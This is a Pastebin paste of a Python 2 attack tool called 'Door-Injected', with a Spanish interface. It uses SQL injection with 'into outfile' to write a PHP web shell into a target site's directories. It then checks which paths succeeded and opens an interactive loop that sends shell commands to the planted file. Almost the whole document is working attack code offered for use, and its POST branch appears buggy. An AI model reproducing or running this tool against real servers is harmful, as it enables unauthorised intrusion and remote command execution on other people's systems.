Advertisement
Guest User

Untitled

a guest
Jun 2nd, 2013
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.56 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. # Door-Injected
  4. # Developed by [Q]3rV[0]
  5.  
  6. import httplib, sys, os, time, urllib2, urllib, random
  7.  
  8. banner="""
  9. ________ .___ __ __ .___
  10. \______ \ ____ ___________ | | ____ |__| ____ _____/ |_ ____ __| _/
  11. | | \ / _ \ / _ \_ __ \ ______ | |/ \ | |/ __ \_/ ___\ __\/ __ \ / __ |
  12. | ` ( <_> | <_> ) | \/ /_____/ | | | \ | \ ___/\ \___| | \ ___// /_/ |
  13. /_______ /\____/ \____/|__| |___|___| /\__| |\___ >\___ >__| \___ >____ |
  14. \/ \/\______| \/ \/ \/ \/
  15.  
  16. - Door-Injected V1.0 Beta
  17. - Autor:[Q]3rV[0]
  18. - Mail:a.denegado[0x40]gmail[0x2e]com
  19. - Blog:http://underterminal.nixiweb.com
  20. - Saludos: Underc0de TEAM """
  21.  
  22. if sys.platform=="linux" or sys.platform=="linux2":
  23. os.system('clear')
  24. else:
  25. os.system('cls')
  26.  
  27. if len(sys.argv)!=3:
  28. print banner
  29. print "\n[*] Modo de uso: "+sys.argv[0]+" <host> <fichero>"
  30. sys.exit(1)
  31.  
  32. def connect(host):
  33. return httplib.HTTPConnection(host)
  34.  
  35. def inyect(host, name):
  36. fichero=open(sys.argv[2], "r")
  37. for ruta in fichero:
  38. ruta=ruta.replace("\n", "")
  39. connect(host).request("GET", "/"+path+"%20"+vector+"%20into%20outfile%20%27"+directorio+ruta+name+"%27--")
  40.  
  41. def buscar(host, name):
  42. fichero=open(sys.argv[2], "r")
  43. for ruta in fichero:
  44. ruta=ruta.replace("\n", "")
  45. search=connect(host)
  46. search.request("GET", ruta+name)
  47. respuesta=search.getresponse()
  48. if respuesta.status==200:
  49. print "\n[*] Door-Injected in ------> http://"+host+ruta+name
  50. else:
  51. print "\n[X] "+ruta+" ------> Imposible escribir!"
  52.  
  53. def command(shell):
  54. agent={"User-Agent": "Door-Injected"}
  55. metodo=raw_input("\n[*] Metodo [get/post]:")
  56. parametro=raw_input("\n[*] Ingrese el parametro:")
  57. if metodo=="get":
  58. while 1:
  59. command=raw_input("\n[*] Door@Injected-$ ")
  60. data=urllib.urlencode({parametro: command})
  61. cabeceras=urllib2.Request(shell+"?"+data, headers=agent)
  62. print urllib2.urlopen(cabeceras).read()
  63. elif metodo=="post":
  64. while 1:
  65. command=raw_input("\n[*] Door@Injected-$ ")
  66. cabeceras=urllib2.Request(shell, data, headers=agent)
  67. print urllib2.urlopen(cabeceras).read()
  68. else:
  69. print "[ABORT]"
  70. sys.exit(1)
  71.  
  72. try:
  73. print banner
  74. target=sys.argv[1]
  75. path=target.replace("http://", "").split('/',1)[1]
  76. host=target.replace("http://", "").split('/')[0]
  77. directorio=raw_input("\n[*] Path Web: ")
  78. vector=raw_input("\n[*] /"+path+" ")
  79. vector=vector.replace(" ", "%20")
  80. name="DoorI"+str(random.randint(1,1000))+".php"
  81. print "\n[*] Inyectando en paths..."
  82. time.sleep(2)
  83. inyect(host, name)
  84. print "\n[*] Comprobando shell dump..."
  85. time.sleep(2)
  86. print "\n+-------------------------------------------------------------------------------------+"
  87. buscar(host, name)
  88. print "\n+-------------------------------------------------------------------------------------+"
  89. opcion=raw_input("\n[*] Desea ejecutar la shell ahora? [y/n]:")
  90. if opcion=="y":
  91. shell=raw_input("\n[*] Ingrese la ruta de la shell:")
  92. command(shell)
  93. elif opcion=="n":
  94. sys.exit(1)
  95. else:
  96. print "[ABORT]"
  97. sys.exit(1)
  98. except(KeyboardInterrupt,SystemExit):
  99. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement